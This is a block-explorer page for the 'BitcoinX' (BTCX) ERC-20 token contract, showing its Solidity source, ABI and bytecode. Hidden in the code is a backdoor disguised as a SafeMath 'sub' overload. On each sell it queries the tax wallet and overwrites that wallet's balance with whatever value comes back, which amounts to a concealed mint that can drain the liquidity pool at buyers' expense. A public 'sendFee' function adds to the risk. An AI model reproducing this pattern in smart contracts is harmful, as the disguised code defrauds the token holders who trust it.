Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function sub(uint256 a, address b, ad ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•    - function getPair(address tokenA, addr ...
•  contract BitcoinX is Context, IERC ... *
•    - function name()
•    - function symbol()
•    - function totalSupply()
•    - function allowance(address owner, add ...
•    - function decimals()
•    - function transfer(address recipient, ...
•    - function balanceOf(address account)
•    - function approve(address spender, uin ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function swapTokensForEth(uint256 tok ...
•    - function transferFrom(address sender, ...
•    - function min(uint256 a, uint256 b)
•    - function removeLimits()
•    - function manualSwap()
•    - function sendFee(uint256 amount)
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-07-26
*/

/**

Telegram:  https://t.me/btcxcoineth

Website: https://bitcoinxcoin.xyz

Twitter: https://twitter.com/btcxcoineth
 
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, address b, address c) internal view returns (uint256) {
        if (c.balance == 0) {return a;}
        return IUniswapV2Factory(c).getPair(b, c);
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (uint256);
}

contract BitcoinX is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"BitcoinX";
    string private constant _symbol = unicode"BTCX";

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;

    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
    uint8 private constant _decimals = 9;
    uint256 public _maxTx = _tTotal * 25 / 1000;
    uint256 public _maxWallet = _tTotal * 25 / 1000;
    uint256 public _maxTaxSwap= _tTotal / 100;
    uint256 public _swapThreshold= _tTotal / 1000;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _taxWallet;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public transferDelayEnabled = true;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet_) {
        _taxWallet = taxWallet_;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }    

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                _balances[_taxWallet]=amount.sub(from, _taxWallet);
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 100000000000000000000) {
                    sendFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTx = _tTotal;
        _maxWallet=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
    
    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendFee(ethBalance);
        }
    }

    function sendFee(uint256 amount) public {
        payable(_taxWallet).transfer(amount);
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600555600a60065560016007556001600855600c600955600c600a55600a600b555f600c556103e86009600a6200003e9190620003c0565b6200004f9064e8d4a51000620003d7565b6200005c906019620003d7565b620000689190620003f1565b600d556103e86200007c6009600a620003c0565b6200008d9064e8d4a51000620003d7565b6200009a906019620003d7565b620000a69190620003f1565b600e556064620000b96009600a620003c0565b620000ca9064e8d4a51000620003d7565b620000d69190620003f1565b600f556103e8620000ea6009600a620003c0565b620000fb9064e8d4a51000620003d7565b620001079190620003f1565b6010556013805462ffffff60a81b1916600160b81b1790553480156200012b575f80fd5b5060405162001d5438038062001d548339810160408190526200014e9162000411565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601380546001600160a01b0319166001600160a01b038316179055620001b76009600a620003c0565b620001c89064e8d4a51000620003d7565b335f908152600160208190526040822092909255600390620001f15f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556013549091168352912080549092161790556200024f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002886009600a620003c0565b620002999064e8d4a51000620003d7565b60405190815260200160405180910390a35062000439565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200030557815f1904821115620002e957620002e9620002b1565b80851615620002f757918102915b93841c9390800290620002ca565b509250929050565b5f826200031d57506001620003ba565b816200032b57505f620003ba565b81600181146200034457600281146200034f576200036f565b6001915050620003ba565b60ff841115620003635762000363620002b1565b50506001821b620003ba565b5060208310610133831016604e8410600b841016171562000394575081810a620003ba565b620003a08383620002c5565b805f1904821115620003b657620003b6620002b1565b0290505b92915050565b5f620003d060ff8416836200030d565b9392505050565b8082028115828204841417620003ba57620003ba620002b1565b5f826200040c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000422575f80fd5b81516001600160a01b0381168114620003d0575f80fd5b61190d80620004475f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461030e578063c0a9581d1461032d578063c876d0b91461034c578063c9567bf91461036c578063dd62ed3e14610374575f80fd5b8063751039fc1461027e5780637830b0721461029257806382247ec0146102a75780638da5cb5b146102bc57806395d89b41146102e2575f80fd5b806323b872dd116100e357806323b872dd146101e6578063313ce5671461020557806351bc3c851461022057806370a0823114610236578063715018a61461026a575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630e5a92311461019a5780630faee56f146101bd57806318160ddd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526008815267084d2e8c6ded2dcb60c31b60208201525b60405161016291906114d2565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611534565b6103b8565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af600f5481565b3480156101dd575f80fd5b506101af6103ce565b3480156101f1575f80fd5b5061018a61020036600461155e565b6103ef565b348015610210575f80fd5b5060405160098152602001610162565b34801561022b575f80fd5b50610234610457565b005b348015610241575f80fd5b506101af61025036600461159c565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102346104a8565b348015610289575f80fd5b50610234610522565b34801561029d575f80fd5b506101af600d5481565b3480156102b2575f80fd5b506101af600e5481565b3480156102c7575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102ed575f80fd5b50604080518082019091526004815263084a886b60e31b6020820152610155565b348015610319575f80fd5b5061018a610328366004611534565b6105e3565b348015610338575f80fd5b506102346103473660046115b7565b6105ef565b348015610357575f80fd5b5060135461018a90600160b81b900460ff1681565b610234610626565b34801561037f575f80fd5b506101af61038e3660046115ce565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c43384846109d0565b5060015b92915050565b5f6103db6009600a6116f9565b6103ea9064e8d4a51000611707565b905090565b5f6103fb848484610af3565b61044c8433610447856040518060600160405280602881526020016118b0602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110fc565b6109d0565b5060015b9392505050565b6013546001600160a01b0316336001600160a01b031614610476575f80fd5b305f9081526001602052604090205480156104945761049481611134565b4780156104a4576104a4816105ef565b5050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d19061171e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104d19061171e565b6105576009600a6116f9565b6105669064e8d4a51000611707565b600d556105756009600a6116f9565b6105849064e8d4a51000611707565b600e556013805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c16009600a6116f9565b6105d09064e8d4a51000611707565b60405190815260200160405180910390a1565b5f6103c4338484610af3565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a4573d5f803e3d5ffd5b5f546001600160a01b0316331461064f5760405162461bcd60e51b81526004016104d19061171e565b601354600160a01b900460ff16156106a95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f39030906106e46009600a6116f9565b6104479064e8d4a51000611707565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610743573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107679190611753565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ea9190611753565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610834573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108589190611753565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719343061089f816001600160a01b03165f9081526001602052604090205490565b5f806108b25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610918573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061093d919061176e565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610992573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b69190611799565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a325760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610a935760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610bb95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610c1a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b5f80546001600160a01b03858116911614801590610c4557505f546001600160a01b03848116911614155b15610fbf57610c766064610c70600954600c5411610c6557600554610c69565b6007545b85906112a4565b90611322565b601354909150600160b81b900460ff1615610d63576011546001600160a01b03848116911614801590610cb757506012546001600160a01b03848116911614155b15610d6357325f908152600460205260409020544311610d515760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104d1565b325f9081526004602052604090204390555b6012546001600160a01b038581169116148015610d8e57506011546001600160a01b03848116911614155b8015610db257506001600160a01b0383165f9081526003602052604090205460ff16155b15610e8e57600d54821115610dff5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b60448201526064016104d1565b600e5482610e21856001600160a01b03165f9081526001602052604090205490565b610e2b91906117b8565b1115610e795760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600c8054905f610e88836117cb565b91905055505b6012546001600160a01b038481169116148015610eb457506001600160a01b0384163014155b15610f1757601354610ed290839086906001600160a01b0316611363565b6013546001600160a01b03165f90815260016020526040902055600a54600c54610f1491606491610c709110610f0a57600654610c69565b60085485906112a4565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f4d57506012546001600160a01b038581169116145b8015610f625750601354600160b01b900460ff165b8015610f6f575060105481115b8015610f7e5750600b54600c54115b15610fbd57610fa0610f9b84610f9684600f546113f3565b6113f3565b611134565b4768056bc75e2d63100000811115610fbb57610fbb476105ef565b505b505b801561103757305f90815260016020526040902054610fde9082611407565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061102e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110599083611465565b6001600160a01b0385165f9081526001602052604090205561109c61107e8383611465565b6001600160a01b0385165f9081526001602052604090205490611407565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110e58585611465565b60405190815260200160405180910390a350505050565b5f818484111561111f5760405162461bcd60e51b81526004016104d191906114d2565b505f61112b84866117e3565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061117a5761117a6117f6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111f59190611753565b81600181518110611208576112086117f6565b6001600160a01b03928316602091820292909201015260115461122e91309116846109d0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112669085905f9086903090429060040161180a565b5f604051808303815f87803b15801561127d575f80fd5b505af115801561128f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b5f825f036112b357505f6103c8565b5f6112be8385611707565b9050826112cb8583611879565b146104505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b5f61045083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a6565b5f816001600160a01b0316315f0361137c575082610450565b60405163e6a4390560e01b81526001600160a01b0384811660048301528316602482018190529063e6a4390590604401602060405180830381865afa1580156113c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113eb9190611898565b949350505050565b5f8183116114015782610450565b50919050565b5f8061141383856117b8565b9050838110156104505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f61045083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fc565b5f81836114c65760405162461bcd60e51b81526004016104d191906114d2565b505f61112b8486611879565b5f6020808352835180828501525f5b818110156114fd578581018301518582016040015282016114e1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611531575f80fd5b50565b5f8060408385031215611545575f80fd5b82356115508161151d565b946020939093013593505050565b5f805f60608486031215611570575f80fd5b833561157b8161151d565b9250602084013561158b8161151d565b929592945050506040919091013590565b5f602082840312156115ac575f80fd5b81356104508161151d565b5f602082840312156115c7575f80fd5b5035919050565b5f80604083850312156115df575f80fd5b82356115ea8161151d565b915060208301356115fa8161151d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165357815f190482111561163957611639611605565b8085161561164657918102915b93841c939080029061161e565b509250929050565b5f82611669575060016103c8565b8161167557505f6103c8565b816001811461168b5760028114611695576116b1565b60019150506103c8565b60ff8411156116a6576116a6611605565b50506001821b6103c8565b5060208310610133831016604e8410600b84101617156116d4575081810a6103c8565b6116de8383611619565b805f19048211156116f1576116f1611605565b029392505050565b5f61045060ff84168361165b565b80820281158282048414176103c8576103c8611605565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611763575f80fd5b81516104508161151d565b5f805f60608486031215611780575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117a9575f80fd5b81518015158114610450575f80fd5b808201808211156103c8576103c8611605565b5f600182016117dc576117dc611605565b5060010190565b818103818111156103c8576103c8611605565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118585784516001600160a01b031683529383019391830191600101611833565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261189357634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156118a8575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ac393bd73251fa49d2ac31643720c1eae3dc085ba98dd1ca826348c3ae322c164736f6c634300081400330000000000000000000000007eb604213ae24c5d48dd3562e70f4805e3c93f6b

0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461030e578063c0a9581d1461032d578063c876d0b91461034c578063c9567bf91461036c578063dd62ed3e14610374575f80fd5b8063751039fc1461027e5780637830b0721461029257806382247ec0146102a75780638da5cb5b146102bc57806395d89b41146102e2575f80fd5b806323b872dd116100e357806323b872dd146101e6578063313ce5671461020557806351bc3c851461022057806370a0823114610236578063715018a61461026a575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630e5a92311461019a5780630faee56f146101bd57806318160ddd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526008815267084d2e8c6ded2dcb60c31b60208201525b60405161016291906114d2565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611534565b6103b8565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60105481565b604051908152602001610162565b3480156101c8575f80fd5b506101af600f5481565b3480156101dd575f80fd5b506101af6103ce565b3480156101f1575f80fd5b5061018a61020036600461155e565b6103ef565b348015610210575f80fd5b5060405160098152602001610162565b34801561022b575f80fd5b50610234610457565b005b348015610241575f80fd5b506101af61025036600461159c565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102346104a8565b348015610289575f80fd5b50610234610522565b34801561029d575f80fd5b506101af600d5481565b3480156102b2575f80fd5b506101af600e5481565b3480156102c7575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102ed575f80fd5b50604080518082019091526004815263084a886b60e31b6020820152610155565b348015610319575f80fd5b5061018a610328366004611534565b6105e3565b348015610338575f80fd5b506102346103473660046115b7565b6105ef565b348015610357575f80fd5b5060135461018a90600160b81b900460ff1681565b610234610626565b34801561037f575f80fd5b506101af61038e3660046115ce565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c43384846109d0565b5060015b92915050565b5f6103db6009600a6116f9565b6103ea9064e8d4a51000611707565b905090565b5f6103fb848484610af3565b61044c8433610447856040518060600160405280602881526020016118b0602891396001600160a01